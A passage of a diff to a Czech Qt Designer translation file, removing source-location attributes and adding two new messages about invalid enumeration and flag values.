<message>
- <location line="-100"/>
<source>New Form</source>
<translation>Nový formulář</translation>
</message>
<message>
- <location line="-5"/>
<source>Show this Dialog on Startup</source>
<translation>Ukázat tento dialog při spuštění</translation>
</message>
<message>
- <location line="+128"/>
<source>A temporary form file could not be created in %1.</source>
<translation>V adresáři %1 se nepodařilo vytvořit dočasný soubor s formulářem.</translation>
</message>
<message>
- <location line="+6"/>
<source>The temporary form file %1 could not be written.</source>
<translation>Dočasný soubor s formulářem %1 se nepodařilo zapsat.</translation>
</message>
@@ -1293,22 +1101,18 @@
<context>
<name>ObjectInspectorModel</name>
<message>
- <location filename="../tools/designer/src/components/objectinspector/objectinspectormodel.cpp" line="+360"/>
<source>Object</source>
<translation>Předmět</translation>
</message>
<message>
- <location line="+1"/>
<source>Class</source>
<translation>Třída</translation>
</message>
<message>
- <location line="+35"/>
<source>separator</source>
<translation>Oddělovač</translation>
</message>
<message>
- <location line="+98"/>
<source>&lt;noname&gt;</source>
<translation>&lt;nepojmenovaný&gt;</translation>
</message>
@@ -1316,12 +1120,10 @@
<context>
<name>ObjectNameDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_taskmenu.cpp" line="+158"/>
<source>Change Object Name</source>
<translation>Změnit název předmětu</translation>
</message>
<message>
- <location line="+4"/>
<source>Object Name</source>
<translation>Název předmětu</translation>
</message>
@@ -1329,12 +1131,10 @@
<context>
<name>PluginDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/plugindialog.ui"/>
<source>Plugin Information</source>
<translation>Přídavné moduly</translation>
</message>
<message>
- <location/>
<source>1</source>
<translation>1</translation>
</message>
@@ -1342,7 +1142,6 @@
<context>
<name>PreferencesDialog</name>
<message>
- <location filename="../tools/designer/src/designer/preferencesdialog.ui"/>
<source>Preferences</source>
<translation>Nastavení</translation>
</message>
@@ -1350,32 +1149,26 @@
<context>
<name>PreviewConfigurationWidget</name>
<message>
- <location filename="../tools/designer/src/lib/shared/previewconfigurationwidget.ui"/>
<source>Form</source>
<translation>Formulář</translation>
</message>
<message>
- <location/>
<source>Print/Preview Configuration</source>
<translation>Nastavení tisku/náhledu</translation>
</message>
<message>
- <location/>
<source>Style</source>
<translation>Styl</translation>
</message>
<message>
- <location/>
<source>Style sheet</source>
<translation>Předlohový list</translation>
</message>
<message>
- <location/>
<source>...</source>
<translation>...</translation>
</message>
<message>
- <location/>
<source>Device skin</source>
<translation>Vzhled pro zařízení</translation>
</message>
@@ -1383,7 +1176,6 @@
<context>
<name>PromotionModel</name>
<message>
- <location filename="../tools/designer/src/lib/shared/promotionmodel.cpp" line="+112"/>
<source>Not used</source>
<extracomment>Usage of promoted widgets</extracomment>
<translation>Nepoužívaný</translation>
@@ -1392,8 +1184,6 @@
<context>
<name>Q3WizardContainer</name>
<message>
- <location filename="../tools/designer/src/plugins/widgets/q3wizard/q3wizard_container.cpp" line="+172"/>
- <location line="+5"/>
<source>Page</source>
<translation>Strana</translation>
</message>
@@ -1401,58 +1191,47 @@
<context>
<name>QAbstractFormBuilder</name>
<message>
- <location filename="../tools/designer/src/lib/uilib/abstractformbuilder.cpp" line="+206"/>
<source>Unexpected element &lt;%1&gt;</source>
<translation>Neplatný prvek &lt;%1&gt;</translation>
</message>
<message>
- <location line="+5"/>
<source>An error has occurred while reading the UI file at line %1, column %2: %3</source>
<translation>Chyba při čtení souboru s rozhraním, řádek %1, sloupec %2: %3</translation>
</message>
<message>
- <location line="+6"/>
<source>Invalid UI file: The root element &lt;ui&gt; is missing.</source>
<translation>Chyba při čtení souboru s rozhraním: Kořenový prvek &lt;ui&gt; chybí.</translation>
</message>
<message>
- <location line="+119"/>
<source>The creation of a widget of the class &apos;%1&apos; failed.</source>
<translation>Nepodařilo se vytvořit žádný prvek třídy &apos;%1&apos;.</translation>
</message>
<message>
- <location line="+296"/>
<source>Attempt to add child that is not of class QWizardPage to QWizard.</source>
<translation>Pokus o přidání strany předmětu třídy QWizard, která není typu QWizardPage.</translation>
</message>
<message>
- <location line="+86"/>
<source>Attempt to add a layout to a widget &apos;%1&apos; (%2) which already has a layout of non-box type %3.
This indicates an inconsistency in the ui-file.</source>
<translation>Pokus o přidání rozvržení na prvek &apos;%1&apos; (%2), který již má rozvržení typu %3 hat. Ukazuje to na nesrovnalost v souboru s rozhraním.</translation>
</message>
<message>
- <location line="+144"/>
<source>Empty widget item in %1 &apos;%2&apos;.</source>
<translation>Prázdná položka prvku v %1 &apos;%2&apos;.</translation>
</message>
<message>
- <location line="+680"/>
<source>Flags property are not supported yet.</source>
<translation>Vlastnosti typu &quot;příznak&quot; nejsou podporovány.</translation>
</message>
<message>
- <location line="+81"/>
<source>While applying tab stops: The widget &apos;%1&apos; could not be found.</source>
<translation>Chyba při stanovení pořadí tabulátorů: Nepodařilo se nalézt žádný prvek s názvem &apos;%1&apos;.</translation>
</message>
<message>
- <location line="+908"/>
<source>Invalid QButtonGroup reference &apos;%1&apos; referenced by &apos;%2&apos;.</source>
<translation>Neplatný odkaz na skupinu tlačítek &apos;%1&apos;, odkazováno &apos;%2&apos;.</translation>
</message>
<message>
- <location line="+511"/>
<source>This version of the uitools library is linked without script support.</source>
<translation>Tato verze knihovny uitools nepodporuje skripty.</translation>
</message>
@@ -1460,12 +1239,10 @@ This indicates an inconsistency in the ui-file.</source>
<context>
<name>QAxWidgetPlugin</name>
<message>
- <location filename="../tools/designer/src/plugins/activeqt/qaxwidgetplugin.cpp" line="+75"/>
<source>ActiveX control</source>
<translation>Ovládací prvek ActiveX</translation>
</message>
<message>
- <location line="+5"/>
<source>ActiveX control widget</source>
<translation>Ovládací prvek ActiveX</translation>
</message>
@@ -1473,22 +1250,18 @@ This indicates an inconsistency in the ui-file.</source>
<context>
<name>QAxWidgetTaskMenu</name>
<message>
- <location filename="../tools/designer/src/plugins/activeqt/qaxwidgettaskmenu.cpp" line="+119"/>
<source>Set Control</source>
<translation>Nastavit ovládací prvek</translation>
</message>
<message>
- <location line="+1"/>
<source>Reset Control</source>
<translation>Nastavit znovu ovládací prvek</translation>
</message>
<message>
- <location line="+41"/>
<source>Licensed Control</source>
<translation>Licencovaný ovládací prvek</translation>
</message>
<message>
- <location line="+1"/>
<source>The control requires a design-time license</source>
<translation>Ovládací prvek vyžaduje licenci k času návrhu</translation>
</message>
@@ -1496,67 +1269,54 @@ This indicates an inconsistency in the ui-file.</source>
<context>
<name>QCoreApplication</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_promotion.cpp" line="+83"/>
<source>%1 is not a promoted class.</source>
<translation>%1 není zástupným symbolem pro uživatelsky stanovenou třídu.</translation>
</message>
<message>
- <location line="+65"/>
<source>The base class %1 is invalid.</source>
<translation>%1 není platnou základní třídou.</translation>
</message>
<message>
- <location line="+7"/>
<source>The class %1 already exists.</source>
<translation>Již existuje třída s názvem %1.</translation>
</message>
<message>
- <location line="+9"/>
<source>Promoted Widgets</source>
<translation>Zástupný symbol pro uživatelsky stanovené prvky</translation>
</message>
<message>
- <location line="+126"/>
<source>The class %1 cannot be removed</source>
<translation>Třída %1 nemůže být odstraněna</translation>
</message>
<message>
- <location line="+9"/>
<source>The class %1 cannot be removed because it is still referenced.</source>
<translation>Třída %1 nemůže být odstraněna, protože se stále používá.</translation>
</message>
<message>
- <location line="+10"/>
<source>The class %1 cannot be renamed</source>
<translation>Třída %1 nemůže být přejmenována</translation>
</message>
<message>
- <location line="+7"/>
<source>The class %1 cannot be renamed to an empty name.</source>
<translation>Název pro třídu nemůže zůstat prázdný (%1).</translation>
</message>
<message>
- <location line="+5"/>
<source>There is already a class named %1.</source>
<translation>Již existuje třída s názvem %1.</translation>
</message>
<message>
- <location line="+29"/>
<source>Cannot set an empty include file.</source>
<translation>Název pro hlavičkový soubor nemůže zůstat prázdný.</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/uilib/formscriptrunner.cpp" line="+88"/>
<source>Exception at line %1: %2</source>
<translation>Chyba výjimky na řádku %1: %2</translation>
</message>
<message>
- <location line="+36"/>
<source>Unknown error</source>
<translation>Neznámá chyba</translation>
</message>
<message>
- <location line="+50"/>
<source>An error occurred while running the script for %1: %2
Script: %3</source>
<translation>Při provádění skriptu pro %1 se vyskytla chyba: %2Skript: %3</translation>
@@ -1565,17 +1325,14 @@ Script: %3</source>
<context>
<name>QDesigner</name>
<message>
- <location filename="../tools/designer/src/designer/qdesigner.cpp" line="+141"/>
<source>%1 - warning</source>
<translation>%1 - Upozornění</translation>
</message>
<message>
- <location line="+96"/>
<source>Qt Designer</source>
<translation>Qt Designer</translation>
</message>
<message>
- <location line="+1"/>
<source>This application cannot be used for the Console edition of Qt</source>
<translation>Tato aplikace se nedá používat pro konzolové vydání Qt</translation>
</message>
@@ -1583,207 +1340,162 @@ Script: %3</source>
<context>
<name>QDesignerActions</name>
<message>
- <location filename="../tools/designer/src/designer/qdesigner_actions.cpp" line="+178"/>
<source>Edit Widgets</source>
<translation>Upravit prvky</translation>
</message>
<message>
- <location line="+10"/>
<source>&amp;Quit</source>
<translation>&amp;Ukončit</translation>
</message>
<message>
- <location line="+3"/>
<source>&amp;Minimize</source>
<translation>&amp;Zmenšit</translation>
</message>
<message>
- <location line="+2"/>
<source>Bring All to Front</source>
<translation>Ukázat všechny formuláře</translation>
</message>
<message>
- <location line="+2"/>
<source>Preferences...</source>
<translation>Nastavení...</translation>
</message>
<message>
- <location line="+298"/>
<source>Clear &amp;Menu</source>
<translation>Smazat &amp;nabídku</translation>
</message>
<message>
- <location line="-233"/>
<source>CTRL+SHIFT+S</source>
<translation>CTRL+SHIFT+S</translation>
</message>
<message>
- <location line="+113"/>
<source>CTRL+R</source>
<translation>CTRL+R</translation>
</message>
<message>
- <location line="+18"/>
<source>CTRL+M</source>
<translation>CTRL+M</translation>
</message>
<message>
- <location line="+31"/>
<source>Qt Designer &amp;Help</source>
<translation>&amp;Nápověda k programu Qt Designer</translation>
</message>
<message>
- <location line="+7"/>
<source>Current Widget Help</source>
<translation>Nápověda k vybranému prvku</translation>
</message>
<message>
- <location line="+7"/>
<source>What&apos;s New in Qt Designer?</source>
<translation>Co je nového v programu Qt Designer?</translation>
</message>
<message>
- <location line="+7"/>
<source>About Plugins</source>
<translation>Přídavné moduly</translation>
</message>
<message>
- <location line="+6"/>
- <location line="+601"/>
<source>About Qt Designer</source>
<translation>O programu Qt Designer</translation>
</message>
<message>
- <location line="-595"/>
<source>About Qt</source>
<translation>O Qt</translation>
</message>
<message>
- <location line="+121"/>
- <location line="+197"/>
<source>Open Form</source>
<translation>Otevřít formulář</translation>
</message>
<message>
- <location line="-196"/>
- <location line="+37"/>
- <location line="+160"/>
<source>Designer UI files (*.%1);;All Files (*)</source>
<translation>Soubory rozhraní programu Designer (*.%1);;Všechny soubory (*)</translation>
</message>
<message>
- <location line="-620"/>
<source>%1 already exists.
Do you want to replace it?</source>
<translation>Soubor %1 již existuje.
Chcete jej nahradit?</translation>
</message>
<message>
- <location line="-26"/>
<source>Saved %1.</source>
<translation>Formulář %1 byl uložen.</translation>
</message>
<message>
- <location line="+371"/>
<source>&amp;Recent Forms</source>
<translation>&amp;Naposledy otevřené formuláře</translation>
</message>
<message>
- <location line="+202"/>
<source>Designer</source>
<translation>Designer</translation>
</message>
<message>
- <location line="+0"/>
<source>Feature not implemented yet!</source>
<translation>Tato funkce ještě není provedena!</translation>
</message>
<message>
- <location line="+59"/>
<source>Read error</source>
<translation>Chyba při čtení</translation>
</message>
<message>
- <location line="+1"/>
<source>%1
Do you want to update the file location or generate a new form?</source>
<translation>%1
Chcete zadat jiný název pro soubor, nebo vytvořit nový formulář?</translation>
</message>
<message>
- <location line="+3"/>
<source>&amp;Update</source>
<translation>&amp;Jiný název</translation>
</message>
<message>
- <location line="+1"/>
<source>&amp;New Form</source>
<translation>&amp;Nový formulář</translation>
</message>
<message>
- <location line="+77"/>
- <location line="+40"/>
<source>Save Form?</source>
<translation>Uložit formulář?</translation>
</message>
<message>
- <location line="-39"/>
<source>Could not open file</source>
<translation>Soubor se nepodařilo otevřít</translation>
</message>
<message>
- <location line="+282"/>
- <location line="+23"/>
<source>The backup file %1 could not be written.</source>
<translation>Ukládání na pozadí: Soubor se zálohou %1 se nepodařilo zapsat.</translation>
</message>
<message>
- <location line="+107"/>
<source>The backup directory %1 could not be created.</source>
<translation>Ukládání na pozadí: Adresář se zálohou %1 se nepodařilo.</translation>
</message>
<message>
- <location line="+6"/>
<source>The temporary backup directory %1 could not be created.</source>
<translation>Ukládání na pozadí: Dočasný adresář se zálohou %1 se nepodařilo.</translation>
</message>
<message>
- <location line="+94"/>
<source>Please close all forms to enable the loading of additional fonts.</source>
<translation>Zavřete, prosím, všechny formuláře kvůli umožnění nahrání dodatečných písem.</translation>
</message>
<message>
- <location line="-502"/>
<source>Select New File</source>
<translation>Vybrat nový soubor</translation>
</message>
<message>
- <location line="+30"/>
<source>Could not write file</source>
<translation>Soubor se nepodařilo zapsat</translation>
</message>
<message>
- <location line="+201"/>
<source>&amp;Close Preview</source>
<translation>&amp;Zavřít náhled</translation>
</message>
<message>
- <location line="-898"/>
<source>Save &amp;Image...</source>
<translation>&amp;Uložit obraz...</translation>
</message>
<message>
- <location line="+1"/>
<source>&amp;Print...</source>
<translation>&amp;Tisk...</translation>
</message>
<message>
- <location line="+9"/>
<source>Additional Fonts...</source>
<translation>Dodatečná písma...</translation>
</message>
<message>
- <location line="+651"/>
<source>The file %1 could not be opened.
Reason: %2
Would you like to retry or select a different file?</source>
@@ -1792,7 +1504,6 @@ Would you like to retry or select a different file?</source>
Chcete to zkusit ještě jednou, nebo vybrat jiný soubor?</translation>
</message>
<message>
- <location line="+39"/>
<source>It was not possible to write the entire file %1 to disk.
Reason:%2
Would you like to retry?</source>
@@ -1801,96 +1512,74 @@ Důvod: %2
Chcete to zkusit ještě jednou?</translation>
</message>
<message>
- <location line="+429"/>
<source>Image files (*.%1)</source>
<translation>Soubory s obrazem (*.%1)</translation>
</message>
<message>
- <location line="+9"/>
- <location line="+17"/>
<source>Save Image</source>
<translation>Uložit obraz</translation>
</message>
<message>
- <location line="+1"/>
<source>The file %1 could not be written.</source>
<translation>Soubor %1 se nepodařilo zapsat.</translation>
</message>
<message>
- <location line="-1163"/>
<source>&amp;New...</source>
<translation>&amp;Nový...</translation>
</message>
<message>
- <location line="+1"/>
<source>&amp;Open...</source>
<translation>&amp;Otevřít...</translation>
</message>
<message>
- <location line="+1"/>
<source>&amp;Save</source>
<translation>&amp;Uložit</translation>
</message>
<message>
- <location line="+1"/>
<source>Save &amp;As...</source>
<translation>Uložit &amp;jako...</translation>
</message>
<message>
- <location line="+1"/>
<source>Save A&amp;ll</source>
<translation>&amp;Uložit vše</translation>
</message>
<message>
- <location line="+1"/>
<source>Save As &amp;Template...</source>
<translation>Uložit jako &amp;předlohu...</translation>
</message>
<message>
- <location line="+1"/>
- <location line="+901"/>
<source>&amp;Close</source>
<translation>&amp;Zavřít</translation>
</message>
<message>
- <location line="-896"/>
<source>View &amp;Code...</source>
<translation>Ukázat &amp;kód...</translation>
</message>
<message>
- <location line="+424"/>
- <location line="+248"/>
<source>Save Form As</source>
<translation>Uložit formulář jako</translation>
</message>
<message>
- <location line="+429"/>
<source>Preview failed</source>
<translation>Nepodařilo se vytvořit žádný náhled</translation>
</message>
<message>
- <location line="-575"/>
<source>Code generation failed</source>
<translation>Nepodařilo se vytvořit žádný kód</translation>
</message>
<message>
- <location line="+328"/>
- <location line="+34"/>
<source>Assistant</source>
<translation>Assistant</translation>
</message>
<message>
- <location line="+259"/>
<source>Saved image %1.</source>
<translation>Obraz byl uložen pod %1.</translation>
</message>
<message>
- <location line="+70"/>
<source>Printed %1.</source>
<translation>%1 byl vytištěn.</translation>
</message>
<message>
- <location line="-1149"/>
<source>ALT+CTRL+S</source>
<translation>ALT+CTRL+S</translation>
</message>
@@ -1898,7 +1587,6 @@ Chcete to zkusit ještě jednou?</translation>
<context>
<name>QDesignerAppearanceOptionsPage</name>
<message>
- <location filename="../tools/designer/src/designer/qdesigner_appearanceoptions.cpp" line="+138"/>
<source>Appearance</source>
<extracomment>Tab in preferences dialog</extracomment>
<translation>Vzhled</translation>
@@ -1907,17 +1595,14 @@ Chcete to zkusit ještě jednou?</translation>
<context>
<name>QDesignerAppearanceOptionsWidget</name>
<message>
- <location line="-53"/>
<source>Docked Window</source>
<translation>Režim ukotveného okna</translation>
</message>
<message>
- <location line="+1"/>
<source>Multiple Top-Level Windows</source>
<translation>Režim více oken</translation>
</message>
<message>
- <location line="+5"/>
<source>Toolwindow Font</source>
<translation>Písmo pro okno s nástroji</translation>
</message>
@@ -1925,22 +1610,18 @@ Chcete to zkusit ještě jednou?</translation>
<context>
<name>QDesignerAxWidget</name>
<message>
- <location filename="../tools/designer/src/plugins/activeqt/qaxwidgettaskmenu.cpp" line="-71"/>
<source>Reset control</source>
<translation>Nastavit znovu ovládací prvek</translation>
</message>
<message>
- <location line="+2"/>
<source>Set control</source>
<translation>Nastavit ovládací prvek</translation>
</message>
<message>
- <location filename="../tools/designer/src/plugins/activeqt/qdesigneraxwidget.cpp" line="+179"/>
<source>Control loaded</source>
<translation>Ovládací prvek nahrán</translation>
</message>
<message>
- <location line="+40"/>
<source>A COM exception occurred when executing a meta call of type %1, index %2 of &quot;%3&quot;.</source>
<translation>Při vyvolání postupu typu %1 se vyskytla výjimka COM, rejstřík %2 &quot;%3&quot;.</translation>
</message>
@@ -1948,17 +1629,14 @@ Chcete to zkusit ještě jednou?</translation>
<context>
<name>QDesignerFormBuilder</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_formbuilder.cpp" line="+89"/>
<source>Script errors occurred:</source>
<translation>Vyskytly se chyby ve skriptech:</translation>
</message>
<message>
- <location line="+307"/>
<source>The preview failed to build.</source>
<translation>Nepodařilo se vytvořit žádný náhled.</translation>
</message>
<message>
- <location line="+65"/>
<source>Designer</source>
<translation>Designer</translation>
</message>
@@ -1966,22 +1644,18 @@ Chcete to zkusit ještě jednou?</translation>
<context>
<name>QDesignerFormWindow</name>
<message>
- <location filename="../tools/designer/src/designer/qdesigner_formwindow.cpp" line="+217"/>
<source>%1 - %2[*]</source>
<translation>%1 - %2[*]</translation>
</message>
<message>
- <location line="+10"/>
<source>Save Form?</source>
<translation>Uložit formulář?</translation>
</message>
<message>
- <location line="+1"/>
<source>Do you want to save the changes to this document before closing?</source>
<translation>Chcete v tomto formuláři uložit před zavřením změny?</translation>
</message>
<message>
- <location line="+2"/>
<source>If you don&apos;t save, your changes will be lost.</source>
<translation>Pokud neprovedete uložení, budou vaše změny ztraceny. </translation>
</message>
@@ -1989,38 +1663,30 @@ Chcete to zkusit ještě jednou?</translation>
<context>
<name>QDesignerMenu</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_menu.cpp" line="-1181"/>
<source>Type Here</source>
<translation>Zadejte text</translation>
</message>
<message>
- <location line="+3"/>
<source>Add Separator</source>
<translation>Přidat oddělovač</translation>
</message>
<message>
- <location line="+371"/>
<source>Insert separator</source>
<translation>Vložit oddělovač</translation>
</message>
<message>
- <location line="+7"/>
<source>Remove action &apos;%1&apos;</source>
<translation>Odstranit činnost &apos;%1&apos;</translation>
</message>
<message>
- <location line="-2"/>
<source>Remove separator</source>
<translation>Odstranit oddělovač</translation>
</message>
<message>
- <location line="+27"/>
- <location line="+650"/>
<source>Add separator</source>
<translation>Přidat oddělovač</translation>
</message>
<message>
- <location line="-348"/>
<source>Insert action</source>
<translation>Vložit činnost</translation>
</message>
@@ -2028,22 +1694,18 @@ Chcete to zkusit ještě jednou?</translation>
<context>
<name>QDesignerMenuBar</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_menubar.cpp" line="-375"/>
<source>Type Here</source>
<translation>Zadejte text</translation>
</message>
<message>
- <location line="+298"/>
<source>Remove Menu &apos;%1&apos;</source>
<translation>Odstranit nabídku &apos;%1&apos;</translation>
</message>
<message>
- <location line="+12"/>
<source>Remove Menu Bar</source>
<translation>Odstranit pruh s nabídkou</translation>
</message>
<message>
- <location line="+70"/>
<source>Menu</source>
<translation>Nabídka</translation>
</message>
@@ -2051,37 +1713,30 @@ Chcete to zkusit ještě jednou?</translation>
<context>
<name>QDesignerPluginManager</name>
<message>
- <location filename="../tools/designer/src/lib/shared/pluginmanager.cpp" line="+271"/>
<source>An XML error was encountered when parsing the XML of the custom widget %1: %2</source>
<translation>Chyba při vyhodnocování XML uživatelsky stanoveného prvku %1: %2</translation>
</message>
<message>
- <location line="+5"/>
<source>A required attribute (&apos;%1&apos;) is missing.</source>
<translation>U prvku chybí vyžadovaná vlastnost (&apos;%1&apos;).</translation>
</message>
<message>
- <location line="+38"/>
<source>An invalid property specification (&apos;%1&apos;) was encountered. Supported types: %2</source>
<translation>&apos;%1&apos; není platným vymezením vlastnosti. Jsou podporovány následující typy: %2</translation>
</message>
<message>
- <location line="+20"/>
<source>&apos;%1&apos; is not a valid string property specification.</source>
<translation>&apos;%1&apos; není platným vymezením vlastnosti řetězce znaků.</translation>
</message>
<message>
- <location line="+40"/>
<source>The XML of the custom widget %1 does not contain any of the elements &lt;widget&gt; or &lt;ui&gt;.</source>
<translation>Kód XML pro prvek %1 neobsahuje platný kořenový prvek (&lt;widget&gt;, nebo &lt;ui&gt;).</translation>
</message>
<message>
- <location line="+12"/>
<source>The class attribute for the class %1 is missing.</source>
<translation>Chybí vlastnost třídy pro třídu %1.</translation>
</message>
<message>
- <location line="+4"/>
<source>The class attribute for the class %1 does not match the class name %2.</source>
<translation>Vlastnost třídy pro třídu %1 neodpovídá názvu třídy (%2).</translation>
</message>
@@ -2089,7 +1744,6 @@ Chcete to zkusit ještě jednou?</translation>
<context>
<name>QDesignerPropertySheet</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_propertysheet.cpp" line="+754"/>
<source>Dynamic Properties</source>
<translation>Dynamické vlastnosti</translation>
</message>
@@ -2097,31 +1751,26 @@ Chcete to zkusit ještě jednou?</translation>
<context>
<name>QDesignerResource</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/qdesigner_resource.cpp" line="+492"/>
<source>The layout type &apos;%1&apos; is not supported, defaulting to grid.</source>
<translation>Typ rozvržení &apos;%1&apos; není podporován; bylo vytvořeno mřížkové rozvržení.</translation>
</message>
<message>
- <location line="+243"/>
<source>The container extension of the widget &apos;%1&apos; (%2) returned a widget not managed by Designer &apos;%3&apos; (%4) when queried for page #%5.
Container pages should only be added by specifying them in XML returned by the domXml() method of the custom widget.</source>
<translation>Kontejnerové rozšíření prvku &apos;%1&apos; (%2) vrátilo pro stranu %5 prvek &apos;%3&apos; (%4), který není spravován programem Designer.
Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu domXML() uživatelsky stanoveného prvku.</translation>
</message>
<message>
- <location line="+599"/>
<source>Unexpected element &lt;%1&gt;</source>
<extracomment>Parsing clipboard contents</extracomment>
<translation>Neplatný prvek &lt;%1&gt;</translation>
</message>
<message>
- <location line="+6"/>
<source>Error while pasting clipboard contents at line %1, column %2: %3</source>
<extracomment>Parsing clipboard contents</extracomment>
<translation>Chyba při vložení obsahu schránky, řádek %1, sloupec %2: %3</translation>
</message>
<message>
- <location line="+6"/>
<source>Error while pasting clipboard contents: The root element &lt;ui&gt; is missing.</source>
<extracomment>Parsing clipboard contents</extracomment>
<translation>Chyba při vložení obsahu schránky: Kořenový prvek &lt;ui&gt; chybí.</translation>
@@ -2130,12 +1779,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QDesignerSharedSettings</name>
<message>
- <location filename="../tools/designer/src/lib/shared/shared_settings.cpp" line="+83"/>
<source>The template path %1 could not be created.</source>
<translation>Adresář s předlohami %1 se nepodařilo zřídit.</translation>
</message>
<message>
- <location line="+184"/>
<source>An error has been encountered while parsing device profile XML: %1</source>
<translation>Při čtení XML profilu zařízení se vyskytla chyba: %1</translation>
</message>
@@ -2143,32 +1790,26 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QDesignerToolWindow</name>
<message>
- <location filename="../tools/designer/src/designer/qdesigner_toolwindow.cpp" line="+190"/>
<source>Property Editor</source>
<translation>Editor vlastností</translation>
</message>
<message>
- <location line="+54"/>
<source>Action Editor</source>
<translation>Editor činností</translation>
</message>
<message>
- <location line="+42"/>
<source>Object Inspector</source>
<translation>Ukazatel předmětů</translation>
</message>
<message>
- <location line="+35"/>
<source>Resource Browser</source>
<translation>Prohlížeč zdrojů</translation>
</message>
<message>
- <location line="+34"/>
<source>Signal/Slot Editor</source>
<translation>Editor signálů a zdířek</translation>
</message>
<message>
- <location line="+41"/>
<source>Widget Box</source>
<translation>Krabice s prvky</translation>
</message>
@@ -2176,97 +1817,78 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QDesignerWorkbench</name>
<message>
- <location filename="../tools/designer/src/designer/qdesigner_workbench.cpp" line="+199"/>
<source>&amp;File</source>
<translation>&amp;Soubor</translation>
</message>
<message>
- <location line="+6"/>
<source>F&amp;orm</source>
<translation>F&amp;ormulář</translation>
</message>
<message>
- <location line="+1"/>
<source>Preview in</source>
<translation>Náhled v</translation>
</message>
<message>
- <location line="+8"/>
<source>&amp;Window</source>
<translation>&amp;Okno</translation>
</message>
<message>
- <location line="+2"/>
<source>&amp;Help</source>
<translation>&amp;Nápověda</translation>
</message>
<message>
- <location line="-15"/>
<source>Edit</source>
<translation>Úpravy</translation>
</message>
<message>
- <location line="+38"/>
<source>Toolbars</source>
<translation>Nástrojové pruhy</translation>
</message>
<message>
- <location line="+465"/>
<source>Save Forms?</source>
<translation>Uložit formuláře?</translation>
</message>
<message>
- <location line="-494"/>
<source>&amp;View</source>
<translation>&amp;Pohled</translation>
</message>
<message>
- <location line="+2"/>
<source>&amp;Settings</source>
<translation>&amp;Nastavení</translation>
</message>
<message>
- <location line="+204"/>
<source>Widget Box</source>
<translation>Krabice s prvky</translation>
</message>
<message>
- <location line="+292"/>
<source>If you do not review your documents, all your changes will be lost.</source>
<translation>Změny budou ztraceny, pokud se na formuláře ještě jednou nepodíváte.</translation>
</message>
<message>
- <location line="+1"/>
<source>Discard Changes</source>
<translation>Zahodit změny</translation>
</message>
<message>
- <location line="+2"/>
<source>Review Changes</source>
<translation>Podívat se na změny</translation>
</message>
<message>
- <location line="+95"/>
<source>Backup Information</source>
<translation>Informace o ukládání na pozadí</translation>
</message>
<message>
- <location line="+1"/>
<source>The last session of Designer was not terminated correctly. Backup files were left behind. Do you want to load them?</source>
<translation>Designer zřejmě nebyl řádně ukončen; existují soubory z ukládání na pozadí. Chcete je nahrát?</translation>
</message>
<message>
- <location line="+111"/>
<source>The file &lt;b&gt;%1&lt;/b&gt; could not be opened.</source>
<translation>Soubor &lt;b&gt;%1&lt;/b&gt; se nepodařilo otevřít.</translation>
</message>
<message>
- <location line="+46"/>
<source>The file &lt;b&gt;%1&lt;/b&gt; is not a valid Designer UI file.</source>
<translation>Soubor &lt;b&gt;%1&lt;/b&gt; není platným souborem rozhraní programu Designer.</translation>
</message>
<message numerus="yes">
- <location line="-259"/>
<source>There are %n forms with unsaved changes. Do you want to review these changes before quitting?</source>
<translation>
<numerusform>Formulář byl změněn, ale změny nebyl uloženy. Chcete se na tyto změny podívat předtím, než program ukončíte?</numerusform>
@@ -2278,92 +1900,86 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
<context>
<name>QFormBuilder</name>
<message>
- <location filename="../tools/designer/src/lib/uilib/formbuilder.cpp" line="+163"/>
<source>An empty class name was passed on to %1 (object name: &apos;%2&apos;).</source>
- <extracomment>Empty class name passed to widget factory method</extracomment>
+ <extracomment>Empty class name passed to widget factory method
+----------
+Empty class name passed to widget factory method
+----------
+Empty class name passed to widget factory method</extracomment>
<translation>Postupu %1 byl předán prázdný název třídy (název předmětu &apos;%2&apos;).</translation>
</message>
<message>
- <location line="+56"/>
<source>QFormBuilder was unable to create a custom widget of the class &apos;%1&apos;; defaulting to base class &apos;%2&apos;.</source>
<translation>QFormBuilderu se nepodařilo vytvořit uživatelsky stanovený prvek třídy &apos;%1&apos;; byl vytvořen prvek základní třídy &apos;%2&apos;.</translation>
</message>
<message>
- <location line="+6"/>
<source>QFormBuilder was unable to create a widget of the class &apos;%1&apos;.</source>
<translation>QFormBuilderu se nepodařilo vytvořit předmět třídy &apos;%1&apos;.</translation>
</message>
<message>
- <location line="+61"/>
<source>The layout type `%1&apos; is not supported.</source>
<translation>Rozvržení typu `%1&apos; nejsou podporována.</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/uilib/properties.cpp" line="+106"/>
<source>The set-type property %1 could not be read.</source>
<translation>Vlastnost %1 se nepodařilo přečíst (typ: množství).</translation>
</message>
<message>
- <location line="+23"/>
<source>The enumeration-type property %1 could not be read.</source>
<translation>Vlastnost %1 se nepodařilo přečíst (typ: výčet).</translation>
</message>
<message>
- <location line="+190"/>
<source>Reading properties of the type %1 is not supported yet.</source>
<translation>Čtení vlastností typu %1 není podporováno.</translation>
</message>
<message>
- <location line="+266"/>
<source>The property %1 could not be written. The type %2 is not supported yet.</source>
<translation>Vlastnost %1 se nepodařilo zapsat, protože typ %2 není podporován.</translation>
</message>
+ <message>
+ <source>The enumeration-value &apos;%1&apos; is invalid. The default value &apos;%2&apos; will be used instead.</source>
+ <translation>Výčtová hodnota &apos;%1&apos; je neplatná. Místo ní se použije výchozí hodnota &apos;%2&apos;.</translation>
+ </message>
+ <message>
+ <source>The flag-value &apos;%1&apos; is invalid. Zero will be used instead.</source>
+ <translation>Příznaková hodnota &apos;%1&apos; je neplatná. Místo ní se použije nulová hodnota.</translation>
+ </message>
</context>
<context>
